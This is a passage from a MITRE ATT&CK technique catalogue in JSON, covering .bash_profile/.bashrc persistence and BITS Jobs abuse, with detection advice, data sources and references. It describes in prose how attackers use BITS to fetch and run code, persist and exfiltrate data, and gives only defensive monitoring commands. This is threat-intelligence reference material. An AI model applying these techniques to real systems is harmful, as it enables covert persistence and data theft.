          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring",
          "Process command-line parameters",
          "Process use of network"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1156",
          "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
        ]
      },
      "uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
      "value": ".bash_profile and .bashrc - T1156"
    },
    {
      "description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell  (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin\n\nAdversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)\n\nDetection: BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (<code>bitsadmin /list /allusers /verbose</code>). (Citation: Microsoft BITS)\n\nMonitor usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)  (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Packet capture, Windows event logs\n\nDefense Bypassed: Firewall, Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Ricardo Dias, Red Canary",
      "meta": {
        "external_id": "T1197",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Packet capture",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1197",
          "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
          "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
          "https://www.secureworks.com/blog/malware-lingers-with-bits",
          "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
          "https://www.symantec.com/connect/blogs/malware-update-windows-update",
          "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
          "https://technet.microsoft.com/library/dd939934.aspx"
        ]
      },
      "uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
      "value": "BITS Jobs - T1197"
    }
  ],
  "version": 4
}
